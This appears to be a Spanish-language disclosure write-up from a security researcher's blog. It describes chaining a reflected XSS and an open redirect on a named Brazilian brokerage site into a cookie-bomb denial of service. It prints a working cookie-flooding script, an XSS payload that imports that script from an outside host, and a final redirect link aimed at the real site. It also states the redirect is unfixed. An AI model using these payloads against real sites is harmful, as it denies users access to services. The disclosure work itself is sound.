Heitor Gouvêa

Research About

Encadenamiento de vulnerabilidades client-side para generar indisponibilidad en una aplicación web

Tabla de contenido

Resumen

Durante un análisis de la aplicación web de la corredora easynvest.com.br (adquirida por Nubank), se identificaron dos vulnerabilidades del lado del cliente que, al ser encadenadas, pueden comprometer la disponibilidad del servicio para usuarios legítimos. Específicamente, se observó la posibilidad de inducir una condición de Denial of Service (DoS) a partir de la explotación combinada de dichas fallas.

Aviso: la empresa responsable fue notificada de todos los detalles presentados en esta publicación en el menor tiempo posible y actuó de forma ética y transparente, demostrando compromiso y atención adecuados. Durante las pruebas realizadas, no se comprometió ni accedió a ningún sistema, y se llevaron a cabo acciones y modificaciones para mitigar cualquier posible uso indebido.

Descripción

La aplicación analizada ofrece una funcionalidad para generar enlaces de invitación personalizados, con parámetros visibles en la URL, como en el siguiente ejemplo:

Imagem

https://indique.easynvest.com.br?nome=heitor%20REDACTED&id=[NUMERICAL ID REDACTED]

Imagem

Al acceder al enlace, los parámetros proporcionados son reflejados directamente en la interfaz de usuario, lo cual indica la posible presencia de una vulnerabilidad de tipo XSS reflejado ([1], [2]). Se identificó que el parámetro ?nome= era vulnerable. El siguiente payload ilustra dicha explotación:

https://indique.easynvest.com.br/?nome=<audio src/onerror=alert(1)>&id=1

Imagem

A pesar de la existencia de la vulnerabilidad, su explotación directa presenta limitaciones relevantes:

  • El código vulnerable se encuentra en un subdominio, lo que impide el acceso a LocalStorage del dominio principal;
  • Las cookies disponibles son accesibles, pero aquellas con información sensible están protegidas con la flag HTTPOnly;
  • Se trata de un XSS del tipo “reflejado”, lo que dificulta su propagación automática;
  • El dominio principal implementa mecanismos de seguridad sólidos, como tokens anti-CSRF y headers HTTP bien configuradas: X-Frame-Options (XFO), Content Security Policy (CSP) y Cross-Origin Resource Sharing (CORS).

Debido a estas limitaciones, se buscó otra vulnerabilidad que pudiera combinarse con el XSS para aumentar su impacto. El análisis del código JavaScript de la pantalla de autenticación reveló una vulnerabilidad de Open Redirect ([3], [4]):

https://www.easynvest.com.br/autenticacao?redirect_url=https://google.com

Demo:

Este redireccionamiento no validado, ubicado en el dominio principal, permite propagar cargas maliciosas de forma más confiable, mitigando parcialmente las restricciones impuestas por el XSS reflejado. Sin embargo, los intentos de explotación con objetivos más críticos —como Account Takeover, exfiltración de datos o ejecución de acciones sensibles— no tuvieron éxito debido a la implementación de autenticación multifactor (MFA) en operaciones de alto riesgo ([7]).

Ante estas restricciones, se evaluó un vector alternativo: el ataque conocido como Cookie Bomb, cuyo objetivo es hacer que la aplicación sea inaccesible para el usuario que accede a un enlace malicioso. Este ataque consiste en la inyección masiva de cookies con cargas excesivas, superando los límites que el servidor está preparado para procesar. Como resultado, las solicitudes posteriores del navegador comprometido pueden ser rechazadas, impidiendo que la aplicación cargue correctamente y generando así una condición de Denial of Service (DoS).

En términos generales, los navegadores permiten el envío de múltiples cookies, cada una con un tamaño máximo aproximado de 4KB. Sin embargo, los servidores pueden fallar al manejar este volumen excesivo de datos, resultando en indisponibilidad hasta que el usuario elimine manualmente las cookies o estas expiren.

Para una comprensión más profunda de esta técnica, se recomienda la lectura de los artículos: “Cookie Bomb or Let’s Break the Internet” [9], de Egor Homakov, y “Denial of Service with Cookie Bomb” [10], de filedescriptor.

Prueba de concepto

A continuación, se detalla la cadena de explotación:

  1. Hospedaje de un script para creación masiva de cookies maliciosas:
var base_domain = document.domain.substr(document.domain.indexOf('.'));
var pollution   = Array(4000).join('a');

for (var i = 1; i < 99; i++) {
    document.cookie = 'bomb' + i + '=' + pollution + ';Domain=' + base_domain + ";path=/";
}

window.location = "https://" + document.domain;

* Hospedado en: https://heitorgouvea.me/public/payloads/bomb.js
  1. Ejecución del código malicioso vía XSS reflejado:

https://indique.easynvest.com.br/?nome=><audio src=”” onerror=import(‘//heitorgouvea.me/public/payloads/bomb.js’);>&id=1

  1. Redirección del usuario al payload utilizando un servicio de acortamiento de URLs: https://cutt.ly/syPnJXp

Payload final: https://easynvest.com.br/autenticacao?redirect_url=https://cutt.ly/syPnJXp

Resultado:

Impacto

La explotación encadenada de estas vulnerabilidades permite que un atacante provoque la “indisponibilidad” de la aplicación web para usuarios específicos. Esto se logra a través de la inyección masiva de cookies (cookie pollution), que supera los límites aceptables para el servidor, impidiendo que la aplicación sea cargada hasta que el usuario elimine manualmente las cookies maliciosas. Aunque este estudio se centró en un vector de impacto específico (DoS), podrían surgir otras posibilidades de explotación según configuraciones de la aplicación.

Conclusión

La explotación descrita requiere un bajo esfuerzo técnico y operativo, pero puede generar un impacto significativo para o usuário final. La combinación de una vulnerabilidad de XSS reflejado con una de Open Redirect permite la ejecución de un ataque de Denial of Service mediante Cookie Bomb, un vector poco común pero efectivo en contextos específicos.

Tras el contacto con la empresa responsable, se adoptaron las siguientes medidas:

  • No se implementó una corrección definitiva para la vulnerabilidad de Open Redirect;
  • La mitigación del XSS reflejado se realizó mediante reglas en el Web Application Firewall (WAF), aunque se identificaron métodos para eludir esta protección. Se presentaron argumentos técnicos al respecto, sin respuesta concluyente hasta la fecha de publicación.

Referencias